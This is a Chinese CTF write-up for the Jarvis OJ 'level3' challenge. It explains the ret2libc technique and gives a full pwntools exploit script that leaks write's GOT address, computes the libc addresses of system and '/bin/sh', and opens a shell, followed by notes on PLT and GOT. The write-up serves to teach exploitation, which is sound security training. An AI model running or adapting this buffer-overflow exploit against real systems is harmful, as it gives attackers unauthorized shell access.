joj level 3 wp

思路:标准的 ret2libc，先通过 rop 控制 puts 出某个 GOT 中的地址以找到 libc 的基址，有了 libc 的基地址后，libc 中的所有函数和字符串的地址就知道了，构造一个 system(“/bin/sh”) 的函数调用栈即可

from pwn import *
#conn=process(’./level3’)
conn=remote(“pwn2.jarvisoj.com”,“9879”)
libc=ELF(’./libc-2.19.so’)
e=ELF(’./level3’)
pad=0x88+0x4 #buf长度为0x88 + 偏移地址0x4
vulfun_addr=0x0804844B #子程序位置
write_plt=e.symbols[‘write’] #获取write函数地址
write_got=e.got[‘write’] #获取write got表中地址

payload1=‘A’*pad+p32(write_plt)+p32(vulfun_addr)+p32(1)+p32(write_got)+p32(4)
#覆盖前面的空间和ebp，然后执行write函数，设write函数的返回地址为vulnerable函数，然后给write函数传入三个参数（1，write的地址，4）
conn.recvuntil(“Input:\n”)
#接受"input:\n"
conn.sendline(payload1)
#传入payload
write_addr=u32(conn.recv(4))
##获得泄露的write(）的地址,拦截前4个字节;
#calculate the system_address in memory
libc_write=libc.symbols[‘write’] #获取.so文件中write地址
libc_system=libc.symbols[‘system’]#获取.so文件中system地址
libc_sh=libc.search(’/bin/sh’).next()
#在.so文件搜索/bin/sh 地址
system_addr=write_addr-libc_write+libc_system
sh_addr=write_addr-libc_write+libc_sh

payload2=‘A’*pad+“BBBB”+p32(system_addr)+“dead”+p32(sh_addr)
#system初始地址,传入初始化值,值为4个字符,在传入/bin/sh地址.
conn.sendline(payload2)
conn.interactive()

通过获得有GOT/PLT表项的函数write()的真实地址以及.so文件中的write()和system函数和"/bin/sh",字符串偏移量与程序运行时三者的运行时(真实)地址偏移量相同的关系,通过write()的真实地址+相等偏移量获得system函数的调用地址和"/bin/sh" 字符串的地址.
write()在32位下传值为 write(1,write_got,4);
write()在64位下传值为 write(1,write_got,8);

fd: 文件描述符[1表示写到标准输出,即屏幕]
buf: 指定的缓冲区,即指针,指向一段内存单元;
nbyte: 要写入文件指定的字节数;
返回值: 写入文档的字节数(成功),-1(出错);
当写到nbyte的字节限制时,就write()结束了.

程序中为plt表,.so文件中为got表, plt表中存放的是函数在got表中该项的地址,got表存放的是函数在内存中真实地址, plt[write]指向got[write], got[write]指向write函数在内存中地址.
plt表在服务器和客户机是一样的,不一样的是函数在内存中的地址.程序运行后加载动态库,把动态库中相应的函数地址填入GOT表.
libc文件中不同函数,数据之间的偏移量是一样的.

joj level 3 wp相关推荐

ls –l total 0_W3 Total Cache与WP Super Cache –打包中的哪一个领先？
ls –l total 0 W3 Total Cache or WP Super Cache – which one to use? Is one better than the other? If ...
Linux CPU数量判断命令
其实只要 #include <unistd.h> long num = sysconf(_SC_NPROCESSORS_ONLN); 便可以获得当前CPU的数量... 判断依据: 1.具有 ...
Linux中/proc目录下文件详解
Linux中/proc目录下文件详解(一) 声明:可以自由转载本文,但请务必保留本文的完整性. 作者:张子坚 email:zhangzijian@163.com 说明:本文所涉及示例均在fedora ...
linux的根文件系统中的proc文件夹详解
什么是proc文件系统 |linux /proc目录介绍|proc中文手册 proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间.它以文件系统的方式为访问系统内核数据的操作提供接 ...
KVM libvirt的CPU热添加
1.CentOS7.3: 需求:说明:默认有两个cpu,由于压力较大的情况下,需要在线添加一个1个cpu 添加cpu前,查看cpu信息 [root@localhost ~]# cat /proc/cp ...
【转】CPU位数、核数、个数
转自:http://blog.chinaunix.net/uid-20344928-id-2985712.html 32 or 64 linux下查看操作CPU的运行位数: getconf LONG_ ...
linux oracle 查看版本号,Linux下如何查看版本信息
1.uname -a (Linux查看版本当前操作系统内核信息) [root@izuf66j2kiq945yl5br4ubz yum.repos.d]# uname -a Linux izuf66j2 ...
查看centos系统配置详细信息
今天工作当中发现如果能把所有Linux信息全部追溯到脚本中,后来想了想写了个简单的基本,在之基础上可以添加相应的命令行. #!/bin/sh date >>/root/pcserverin ...
Linux系统资源管理之硬件信息
1. CPU lscpu : 一般不加参数,直接使用该命令. cat /proc/cpuinfo: 该文件中列出了CPU的详细信息,类似于'lscpu'命令 lscpu [niesh @niesh D ...

joj level 3 wp

joj level 3 wp相关推荐

最新文章

热门文章